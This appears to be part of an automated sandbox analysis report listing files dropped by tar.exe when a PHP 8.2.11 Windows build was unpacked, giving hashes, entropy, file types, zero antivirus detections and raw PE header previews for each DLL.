MD5:	27ACF002C7E9A08F6DA5131B48F55F92
SHA1:	E483701A0FF41FC179C3CE4CFB5F9B9F94F622CF
SHA-256:	3EF55B76B49F35577DFAF29D12A5271A121C5F1A30150CD7595A878DC9D6962E
SHA-512:	D08BAD43B4E7B73A83107F57CB603DBBBF5AA3388B75608B8B736EF68474D0569019F83F7CDC9C22545BCD904C6BC48A37969997F3D2D15028BE43973AD4A4F6
Malicious:	false
Preview:	{"mid":"PKJ2RMXRS481H4NV6VCC978Z3"}

C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\deplister.exe

Download File

Process:	C:\Windows\System32\tar.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	137728
Entropy (8bit):	6.169106814401788
Encrypted:	false
SSDEEP:	3072:TTAwfmrTEtePxy/OC5Q1F0rLG0j1iNuqsC:owfmr4tmyZQ1F86fsC
MD5:	658D4D78AB13D9205BB981D2B320FF3D
SHA1:	D9A236461F8A2832472E5002A45FA125FC7C307D
SHA-256:	861CEA918217D9D0A189DD4220DAE21409B5B05C4AB4D71B07401EEC90415979
SHA-512:	1478FF69BB67EE89151BBB0F7EC9E31ECE595A64FC8609A7643C536A66BC0B5461F3A53EE3738D1F6DB574DF6E9BD56256907E879110A69E20F19346FB7E5576
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......K...........D......D.....D......]...(..]......]......D.........U..............Rich...................PE..d...1..e.........."......F.....................@.............................p............`.....................................................<............0...............`..t...................................0...8............`..h............................text....E.......F.................. ..`.rdata.......`.......J..............@..@.data...............................@....pdata.......0......................@..@_RDATA.......P......................@..@.reloc..t....`......................@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\dev\php8ts.lib

Download File

Process:	C:\Windows\System32\tar.exe
File Type:	current ar archive
Category:	dropped
Size (bytes):	899110
Entropy (8bit):	5.278475644793723
Encrypted:	false
SSDEEP:	24576:CH2CK7ISYYUA2uv4h5AjxFYhDEvWKBKuj5hYFDhAxCHD8xFDJl+0zUv2CLO5aYnk:1Cph5AjxFYhDcj5hYFDhAxC0KYn8tOTA
MD5:	91AF7CF7F07C80ECDA554EF46A72AC68
SHA1:	2995D8CCC525DC34EDED260D042C37B3B53DB02E
SHA-256:	45BCB2D324F6B55D65D3BB911732EFF36462D0E56BA00199179A2A7C2C4DA64F
SHA-512:	BCAE717B53C8546411942E003D850675A37CFA93E954FC209FF091B145D422E2239AD9D1AEDACA23BCA78FF6A854CB0272BFFBEF4DF3F8412568847697383227
Malicious:	false
Preview:	!<arch>./ -1 0 222301 `................0.. v.. v......... ... ...........X...X...........z...z...........f...f...........D...D...........:...:........... ... ...................................z...z...........p...p...................V...V...H...H...................................................z...z...........V...V...........H...H...........8...8...........2...2...................................................h...h...........b...b...........Z...Z...........H...H...........2...2................... ... ...........................\|...\|...........j...j...........d...d...^...^...................T...T...........................F...F...z...z.............................................................................$...$...........,...,...........N...N...r...r..........\|p..\|p..\|...\|...}:..}:...........Z...Z...........................:...:...2...2........................... ... ...................................F...F...t...t...........@

C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_bz2.dll

Download File

Process:	C:\Windows\System32\tar.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	86528
Entropy (8bit):	6.281181200934599
Encrypted:	false
SSDEEP:	1536:BH5X17IIL23le3qAvLJJAJ/LBdlgoHKepKyRG30TQVL2hCD+PANmxIzkZwr72HE8:BH5lh23lgxJJAJ/LBdeoHKepKyRG30Tf
MD5:	720E64E92AA6931056CDB0939FE56A32
SHA1:	A9AE4762401B26180DCA023C6265DB8428FDA87C
SHA-256:	653405756355F72F6747B72B0BCD98DB13E0C49EA0FDC42868D2B631EAB7D7A8
SHA-512:	86B823787AF84951A86316179C1FCE371BCE5F8480F1C62E7C5D9E25720C6701F15BF1BC1951459CF714EFDF42740EC309F1D30A9C418C667417BC25766B988E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......L.......................Z.......n.m.....Z.......Z.......Z.......C......>..................`.....................o.............Rich............PE..d...m..e.........." .........\......p...............................................v0....`A........................................`0.......0.......p.. ....`..........................T...........................p...8...............(............................text...8........................... ..`.rdata...-..........................@..@.data........@.......$..............@....pdata.......`.......<..............@..@.rsrc... ....p.......F..............@..@.reloc...............P..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_com_dotnet.dll

Download File

Process:	C:\Windows\System32\tar.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	93184
Entropy (8bit):	5.978941296348925
Encrypted:	false
SSDEEP:	1536:BsaJPBjIIXAxIVUMvbPQFfmp5EA6pECZcf46gTb4l6:BnPBjvXcIH2epGND1Zb4l6
MD5:	3E142577EB957815AF13BF1A5C93EBB7
SHA1:	F1E8D0724612AAFFD4DA3907A4E35899832C0F07
SHA-256:	B6186371BA44F02B40EB362D040F79C85C84B179234CB30EED0542810B7F5B03
SHA-512:	165D4D7613988C03C824132243F28964EB15B5D4387D30CF434DCDD0FC744016B3FF0C14F175CF73483468940AE14FA991BFAC8BF09F33968619CC3495483155
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........Jj?.+.l.+.l.+.l.S.l.+.l.^.m.+.l.D.l.+.l.^.m.+.l.^.m.+.l.^.m.+.l.S.m.+.l.S.m.+.lo^.m.+.l.+.l@+.lo^.m.+.lo^.m.+.lo^.l.+.lo^.m.+.lRich.+.l........PE..d......e.........." ................P................................................<....`A.........................................>..D....A..........H....p.......................(..T....................*..(....)..8...............H............................text............................... ..`.rdata...i.......j..................@..@.data........`.......L..............@....pdata.......p.......P..............@..@.rsrc...H............^..............@..@.reloc...............h..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_curl.dll

Download File

Process:	C:\Windows\System32\tar.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	613376
Entropy (8bit):	6.396854012508999
Encrypted:	false
SSDEEP:	12288:HrzeAEkcbT1GzMSqr/b8QSylPgsUNsvu0znRwso:HrzVEkm1yEbbbSybUq2kwb
MD5:	34E47D3BBAD249717A2BB4AC725988A4
SHA1:	B588ABFE93ADA4E2E78F43FF39976013A3AA8F48
SHA-256:	E6A7EFDB029495FD9CA9AFA90662426BF5714EAABCBC24BD576EC75D042F70E8
SHA-512:	ABDB5E58B2C8E29BB6260DD9D5D1A5BA5D25104FE54871A6C85B557299EBFD669B99C2678F5860AB8190F880B1286F23DC2B7824E5ECF8DE4BD379A515B9A377
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...................................0...........!..L.!This program cannot be run in DOS mode....$.......I.:...T...T...T.......T._.U...T.k....T._.Q...T._.P...T._.W...T...U...T...U...T.F.U...T...U...T...P.z.T...U...T...U.O.T...Y...T...T...T......T...V...T.Rich..T.................PE..d......e.........." .........\|......................................................v,....`A.........................................................p..(.... ...F..................X...T...............................8...............`............................text............................... ..`.rdata..\...........................@..@.data...............................@....pdata...F... ...H..................@..@.rsrc...(....p.......J..............@..@.reloc...............T..............@..B................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_dba.dll

Download File

Process:	C:\Windows\System32\tar.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	155136
Entropy (8bit):	6.327094904008958
Encrypted:	false
SSDEEP:	3072:HAiu7bIQdAua00c5Cb98xCvUd4xbVoQ/vV5rfnUV+8yJ:giu7V0T98UUd4bV7/vbn6+8A
MD5:	71BB1DF2571CF66FF93B96036E54F2FF
SHA1:	CBFA868C272386C89DDC98F5CE1B699737A47548
SHA-256:	AA9A1003E20B4E8896DBE08616C92C094DE2C616B44703094CE88CD4DD4FB8F2
SHA-512:	CDBC9DBC4922B946C57828BA1EDE70A7DB85575C15690160C958F9C0C2B1EE15B626F8F5099A3ADF3C08B611B4A4DBE610F8F59A2692A18A0D70DD0DA19FE887
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......D.C...-G..-G..-G.f.G..-GRk,F..-Gfq.G..-GRk(F..-GRk)F..-GRk.F..-GKf,F..-Gtu)F..-G.k,F..-G..,G..-G.k%F..-G.k-F..-G.k.G..-G.k/F..-GRich..-G................PE..d......e.........." ......................................................... ......\|.....`A.........................................1..L...<2..........<.......p.......................T.......................(.......8............................................text...(........................... ..`.rdata..lh.......j..................@..@.data........P.......6..............@....pdata..p............:..............@..@.rsrc...<............R..............@..@.reloc...............\..............@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_dl_test.dll

Download File

Process:	C:\Windows\System32\tar.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	15872
Entropy (8bit):	4.9651171125725115
Encrypted:	false
SSDEEP:	192:g/X+vYbwIYHkgAIvphVn8XbfnMYu/AP3cnemwoot1mskcqron2ggkfu:Lv0wPaIREbqARKsYron2ggkfu
MD5:	A64A630D422F8CBCBC484D9C510CB104
SHA1:	746D5588B77FCD15ED47E077D8C40609773265EC
SHA-256:	02C4AC74A952934C1B71899C91DCCCDA02DC90F8E33A0191C405B9627737569E
SHA-512:	C094B9979A1F460FE69C9DDAB3ABD3F23A37A2BDE8466B424CA69A2FF79B6C22521D01CCCCA08B444F46F58D87353CFA9C64EEA8435C38248FB5A2D46B1DC096
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......z7..>V..>V..>V..7.\|.:V..l#..<V..l#..5V..l#..6V..l#..=V..u...<V...#..=V..>V...V...#..?V...#..?V...#..?V...#..?V..Rich>V..........PE..d......e.........." .........(......`.....................................................`A.........................................<..P...0=..x....p.......`..................t....5..T....................7..(...@6..8............0...............................text............................... ..`.rdata.......0......................@..@.data........P.......,..............@....pdata.......`......................@..@.rsrc........p.......2..............@..@.reloc..t............<..............@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_enchant.dll

Download File

Process:	C:\Windows\System32\tar.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	25600
Entropy (8bit):	5.3178190581624385
Encrypted:	false
SSDEEP:	384:vN51aByDw5E8rjyimL8/eu2kNUdxdB4KJnlTFZiqwisMgqkfu:IMDOlefLyR2vB4KJnlTFZRwbMgd
MD5:	A356D6C99F4F2E80E6448D56830B8FD9
SHA1:	E522D01BFCF42E268932D6D6DAEFB3A06F4D5CB6
SHA-256:	6B3D0381E29470C1532964CAC8FA3CC4C9FC754A421ADE421B716D2E65057D6B
SHA-512:	555C97E327368C55C2274AB0B4A477FE0FC539983AB2A453243292BC58567C22FC03E240FA7E507BFFC8C1DC31DF6D0355848AFAAACE2D4C670A036AE6C9599D
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........KX..6..6..6..R...6._7..6._3..6._2..6._5..6.R7..6.)E7..6."_7..6..7.6."_>..6."_6..6."_...6."_4..6.Rich.6.................PE..d...C..e.........." .....$...<......@)..............................................&.....`A........................................@\..P....\..x.......\.......................@...`R..T............................R..8............@..p............................text....#.......$.................. ..`.rdata...&...@...(...(..............@..@.data........p.......P..............@....pdata...............R..............@..@.rsrc...\............X..............@..@.reloc..@............b..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_exif.dll

Download File

Process:	C:\Windows\System32\tar.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	72704
Entropy (8bit):	5.6441550329869195
Encrypted:	false
SSDEEP:	1536:nJtQBOQOSzVk4nb4zIJLOws2/ljU33bIWvuG4R0pj2:n98K4nb4z6LOws6jU33bIyuG4R0pj2
MD5:	FB963E03614162EFB085CDD68AD73F43
SHA1:	71F1C4B8D72AD8D7A7C9FB8C53E50DAAF5C2BBB8
SHA-256:	C6B007F6D7D0E8DAD4CD5A4422A08F336E39885BF96B8102516375FB2FAAC578
SHA-512:	EBE54AC71A03ACD95DA8FA8E41AC7CB29425E649FF972C0349329A409E0EE5469AB0EE70EBF018980F83EA34F9B6F8F55A0E5D231DE032B0A18FE9CA69AB58A4
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........W\.9..9..9......9...8..9...<..9...=..9...:..9...8..9...8..9..8...9...4..9...9..9......9...;..9.Rich.9.................PE..d......e.........." .....n..........P........................................P...........`A............................................L............0..H.... ...............@.........T.......................(...0...8...............H............................text....m.......n.................. ..`.rdata..*............r..............@..@.data...............................@....pdata....... ......................@..@.rsrc...H....0......................@..@.reloc.......@......................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_ffi.dll

Download File

Process:	C:\Windows\System32\tar.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	170496
Entropy (8bit):	6.265041804272224
Encrypted:	false
SSDEEP:	3072:FUJK2cGLGYk15EGkiVGwwC0IUZXvs5x4JQ+DCViNiioc37:+vLGN1CGCC0Inx4JQ+fNiOL
MD5:	CB8CC665579AF513C6FF6D4CA9C363FC
SHA1:	647E0D28E8DA6A016C34E18399C7A09DA22D1B7D
SHA-256:	B76671C131390FB7BDCB3DC62A87B01376C07FB6DF7E70508555725D5ADBC5A3
SHA-512:	2D79B4BAC5F981F6D4B2FD6B83FC0E407A939B2EEA7296A9D67F1A31F4020D5FA75A51812F47D3B43B4E70D4D80D366B6F3F9FF02886A7ABDF3E08D4455B7C67
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........G,..&B.&B.&B.^..&B..SC.&B..I..&B..SG.&B..SF.&B..SA.&B..^C.&B..SA.&B.iSC.&B.&C.#&B.iSJ.&B.iSB.&B.iS..&B.iS@.&B.Rich.&B.........PE..d...o..e.........." .................................................................I....`A.........................................t..L....t..................d....................Y..T....................[..(....Y..8............................................text...X........................... ..`.rdata...t.......v..................@..@.data................t..............@....pdata..d............v..............@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_fileinfo.dll

Download File

Process:	C:\Windows\System32\tar.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	7118336
Entropy (8bit):	0.8788171480758775
Encrypted:	false
SSDEEP:	24576:hpsEq2bPlfDlx1W7vnPLaMK8+cMaWKO+TWthXu6tqasKvd7dgI9r0z3U/giEvtCY:hd3FV
MD5:	4848B983849BC0DD3BF4D32545EECBAB
SHA1:	03FEDFE8EAFC4E30C1693B4353E6A017CCE53870
SHA-256:	44A88E8024EE8E31CFF2A2A997016B9C35FC1784592B31DEA59D4A59385B5A1B
SHA-512:	DF06771C499E926935F6ADA311384E5790353BE3EC24B358EF17667B6A54C470B70D38086ADB2CA80A2BB78245602FD2496C1D91A0F5523D43CD561D1F664A77
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........u~....I...I...I.l.I...I.a.H...I.{.I...I.a.H...I.a.H...I.a.H...I.l.H...Ina.H...I...I...Ina.H...Ina.H...Ina.I...Ina.H...IRich...I................PE..d......e.........." ..........k...............................................l.......m...`A........................................0.l.l.....l.......l.......l...............l......6..T............................6..8............0...............................text............................... ..`.rdata...jk..0...lk.................@..@.data.........l.......l.............@....pdata........l.......l.............@..@.rsrc.........l.......l.............@..@.reloc........l.......l.............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_ftp.dll

Download File

Process:	C:\Windows\System32\tar.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	60928
Entropy (8bit):	5.5640487630494135
Encrypted:	false
SSDEEP:	768:j/G13ZFLJMNuubcWTC0RhHD0w1pF+jZ5HZp1HxnjgR8w2:j/83ZFLRugW+0R57FE5HH8R8w2
MD5:	A2B9F41806A728C6FA0CA1DF448F245D
SHA1:	3305AC0FDBA98D4283AF0576797E436C6E58094A
SHA-256:	9118A1C5486A4AB5E1F2284C7CCEABC83FD0D28F22FBB41D4F708ABF93FDA97E
SHA-512:	743EF137D6C5185EF4D208676EF82A657356758FB38ADBA9AC63CA3A25C1BAD87617204D324929AC2966693B2241642634D5D33A740CA106A7830622491FBB11
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........................B........................................7.......<...........{...<.......<.......<.......<.......Rich............PE..d......e.........." .........j......P........................................ ......S3....`A............................................L...............8.......0...............@.......T...............................8............................................text....~.......................... ..`.rdata...K.......L..................@..@.data...............................@....pdata..0...........................@..@.rsrc...8...........................@..@.reloc..@...........................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_gd.dll

Download File

Process:	C:\Windows\System32\tar.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	9654784
Entropy (8bit):	6.8971412243538905
Encrypted:	false
SSDEEP:	196608:U9MNYoVwC1/pWJ1ad3djROzbDkId9hb1O0krXR3h75ZwBCHRtK11mUvF8Zq7wBpn:YM/wC1/pWJ1ad3djROzbDkId9hb1O0kT
MD5:	0BA7E3C3C7731C09F1412201422E7BDF
SHA1:	A8B7901157D3BB1CE17C7C632B1ACDC63A8182CA
SHA-256:	A7A806F5019EACBEBE5947DD661C6B841C4D4498A6D4968D0C3028B69B8306A8
SHA-512:	D2E615AB2C876AD96519C9A1E2340BF2A8BCF5473BDDCB19DCF6A590A9ED8F6C711E99DB6785E06A06587B9E0CC5F24447E7FA45DF4950F9322541580FFCBA85
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...................................8...........!..L.!This program cannot be run in DOS mode....$.........-...C...C...C.......C...B...C.......C...F...C...G...C...@...C...B...C...G...C.?.G..C...G...C...C...C.~.G...C.l.B...C...B...C.l.N..C.l.C...C.l....C.l.A...C.Rich..C.................PE..d......e.........." ......U..n=......~R......................................p...........`A........................................P]..t....]..@.... .........t)...........0...=..$...T...............................8.............V.0............................text.....U.......U................. ..`.rodata.P.....U.......U............. ..`.rdata...y:...V..z:...U.............@..@.data....n...........^..............@....pdata..t)......*..................@..@.rsrc........ ......................@..@.reloc...=...0...>..................@..B................................................................................................................................................

C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_gettext.dll

Download File

Process:	C:\Windows\System32\tar.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	54784
Entropy (8bit):	5.909416363407647
Encrypted:	false
SSDEEP:	768:gnqI2EDaTKJnzlGRKTjgmQP8uvNIUniVbHm7aboI0AO7imkoa6g1:gnqzEDaTMnXfdQPHNIyidrb5wah1
MD5:	5CC5D033FCF7016A8C7DD57CF6BBE2E6
SHA1:	FDFCE1E25777F150AB0336D41AE090F42807A7E8
SHA-256:	3E49BC0507E3A961E25F546E371CDF8FD677A2A26CAE6039486584D426A32E94
SHA-512:	51E1414ED4AC6B28307E5090DABEC0F92465F3F52DC789D9CD854779F8AC3B0E1D02576274461C26CA0846717E9088B2CCF82D4CEE5F4455C6C25C821F0014CE
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............`...`...`....K..`......`...%..`......`......`......`......`..&....`...`..`..&....`..&....`..&.'..`..&....`..Rich.`..........PE..d......e.........." .........J......P........................................ .......S....`A............................................P...P...........0.......,......................T...........................0...8............................................text.............................. ..`.rdata...%.......&..................@..@.data...............................@....pdata..,...........................@..@.rsrc...0...........................@..@.reloc..............................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_gmp.dll

Download File

Process:	C:\Windows\System32\tar.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	327680
Entropy (8bit):	6.367489539582219
Encrypted:	false
SSDEEP:	6144:ItZaWYCcRxoJNpL/5mLC9S3Sj17JDtTyXb9QgfuitgyHM4i:GpRpB79QSj17JDtgb2YUx
MD5:	70BB8D5E44E5B2C42FCF42AF9C9C1C0C
SHA1:	1EC6DEE29D8E89857258C02528FA446AFB31A150
SHA-256:	7C2341D2BAE0AB90AB98C72E1BAED382AADF8E740EB746F71DB9B7A6AA757FA4
SHA-512:	86F8ADEA1469990BC0F0CC33BE3D5CF0F9A61576BC09E1246E464D90B0ADC2E8D225D9FCF5301E593E5EBFF0977F543FECAFA6CF988F2B18B086B5E3525EC8D8
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......K.m....................].......].......].......].......D.......{..................i...................................Rich....................PE..d...H..e.........." ................. .......................................@............`A........................................ ...h............ ..<........!...........0.........T.......................(...0...8............0.. ............................text............................... ..`.rdata.......0......."..............@..@.data...............................@....pdata...!......."..................@..@.rsrc...<.... ......................@..@.reloc.......0......................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_imap.dll

Download File

Process:	C:\Windows\System32\tar.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	963584
Entropy (8bit):	6.723321011310448
Encrypted:	false
SSDEEP:	24576:kZxUoo7wKFZRGZf8x/phdNTEC5fjznDB3PB:MQFXG+9nnDB
MD5:	1DC83B23E1EA974971DAD8B9E8C42B3B
SHA1:	D37875758E83EAC0592E2B3A26B4C8CC61C5DEEC
SHA-256:	BF49A5D779EE34569C025FB54BBFA55FFA11B7019FAB62E6B2A23F459E4B5A31
SHA-512:	26787B10D74201706C5510C3659DAD88D48691CB45E71ADDBE651C1118C006B4CE6BAAD0CF62B0B0160A293BDBB7991376419BF93E8DE3C579A7B1EE901E40FC
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$........B...#.I.#.I.#.I.[.I.#.I.V.H.#.I.L~I.#.I.V.H.#.I.V.H.#.I.V.H.#.I.[.H.#.I(V.H.#.I[V.H.#.I.#.I.".I[V.H.#.I[V.H.#.I[V\|I.#.I[V.H.#.IRich.#.I........................PE..d...s..e.........." ................0.....................................................`A............................................L...,...........$.......`K..................`r..T....................t..(....r..8...............p............................text............................... ..`.rdata..`G.......H..................@..@.data....z.......b..................@....pdata..`K.......L...R..............@..@.rsrc...$...........................@..@.reloc..............................@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_intl.dll

Download File

Process:	C:\Windows\System32\tar.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	434176
Entropy (8bit):	6.134565062879546
Encrypted:	false
SSDEEP:	6144:AXmUw3mVDlD8/f/slfILcfyyJaYckBOTJf4em/XOeNVzBf7+OyaFzT+vUE2K/igv:SKZov1OFCOW2igOG0g4ZJFCZVFgqH7H
MD5:	BF0854F48B5390CD6327D712ECE11679
SHA1:	329885FEE117FE4F415B44CE0A48C3B76BEDA776
SHA-256:	6F212D576C12F9B82B03A8733139BCBB9FA34CE7C2C0C5934B8D6DBF477C0B87
SHA-512:	9F367A109670FCA9B7C7E2F9ED72D057E4196D27693AAC52436861E89273DEC7CE46DA9F43709D0FA21668F017EB0B8176844E76D29A69C6624FD0C6DA52CD4D
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.................?............................^.....W.......R..W......W.....W.S...W.....Rich...........PE..d......e.........." .................!...............................................X....`A............................................L...L...@...............................\|...($..T....................&..(....$..8...............`............................text............................... ..`.rdata..np.......r..................@..@.data................^..............@....pdata...............d..............@..@.rsrc...............................@..@.reloc..\|...........................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_ldap.dll

Download File

Process:	C:\Windows\System32\tar.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	260096
Entropy (8bit):	6.199963974332617
Encrypted:	false
SSDEEP:	6144:Zv8nThV3NO4fFWVsGDxAPl0l97vc01wsi:ZshxNOUW+e401i
MD5:	EFA57BC83A2649D790AAE66B36BE995D
SHA1:	260F8BF96A6E0DC88DE4A31E2EBD5739756ADC10
SHA-256:	F138B0F697B2D5811FF025905585DCC9A0B8A7C99B2300B354D102ACC6864863
SHA-512:	6414F5D352DA24838C947824CA5BA2083133E4E67ED27F0865CD890C1533DBD81EDB5C1B8CE95CFB97B523034756E2DA01868782189A085A6F8B90DE7FD2B6A3
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.........=..n..n..n..9n..n..o..n..Wn..n..o..n..o..n..o..n..o..nX..o..nX..o..nZ..o..nQ..o..n..n..nQ..o..nQ..o..nQ.Un..nQ..o..nRich..n........PE..d......e.........." .........P..............................................@............`A........................................`...L.......,.... ...........(...........0.......x..T....................z..(....y..8............................................text.............................. ..`.rdata..............................@..@.data...,...........................@....pdata...(.......*..................@..@.rsrc........ ......................@..@.reloc.......0......................@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_mbstring.dll

Download File

Process:	C:\Windows\System32\tar.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1591808
Entropy (8bit):	6.19554413646794
Encrypted:	false
SSDEEP:	24576:/9I4iLE633VhQb/coVtbmWVfAyAsiOJ0DZUUN4hgSoPjuUfNZZzPNm426b:lI4iLE6330bdtbHg2UN4HV4N/Pb2
MD5:	AA0FCF052F6F4CEE6321C7B6EF7605C7
SHA1:	CAAF86ACD873DF9618E223F78634E850AFE47000
SHA-256:	76DCDAAAC5774FB61373922A3013A4F523B7ED60E1A19D71DA6C5871747105FF
SHA-512:	2AB925D9EADD50C56B8EC9E6007760F271A8D7F7600C6D960B7C55E7B47AF4056DBAD05749AEBC66787EE750ACD02B48ED4E5EBF4681EF5C346EBDCD8025DA1B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........h............q......\|.......\|.......\|.......\|.......q......8\|.....M\|.........(...M\|.....M\|......M\|d....M\|......Rich............................PE..d......e.........." .........<.......................................................+....`A........................................0....%...........P..........p2...........`..........T.......................(......8............ ..X............................text............................... ..`.rdata....... ......................@..@.data........ ......................@....pdata..p2.......4..................@..@.rsrc........P.......$..............@..@.reloc.......`......................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_mysqli.dll

Download File

Process:	C:\Windows\System32\tar.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	123904
Entropy (8bit):	5.804288310235706
Encrypted:	false
SSDEEP:	3072:WUqykXYrWC4U0WANy4YFmkyMFKxOf9YxDb6iZsD42wX9:WQkXYrj4U0jY4YFmk5KBNRN
MD5:	FFC7F8410634E4975B8F1C124356E1F0
SHA1:	011704A9393E88A63B133B7F3FE038876D0B897D
SHA-256:	10215580286DAF5F4DE6C6AA7BDB04FFC5E116CD28349BE28F0610AF142CCE7A
SHA-512:	8D7C6B81CD3DCADB8B684BAAFFA17C722225CDBA5447729B5F6131D07C08533896AEE45CADCD38521CC557DD9DB1A6655A97E1FAE44637BBDC1128EB2C192DA3
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......,kE.h.+Bh.+Bh.+Bar.Bn.+B:.Cj.+B:..Cd.+B:./C`.+B:.(Ck.+B#rCj.+B..Ck.+Bh.B..+B..&Ca.+B..+Ci.+B...Bi.+B..)Ci.+BRichh.+B................PE..d......e.........." .................'....................................... ............`A............................................l...l........................................9..T....................;..(... :..8............0...............................text...Q........................... ..`.rdata.......0......................@..@.data...p...........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_oci8_19.dll

Download File

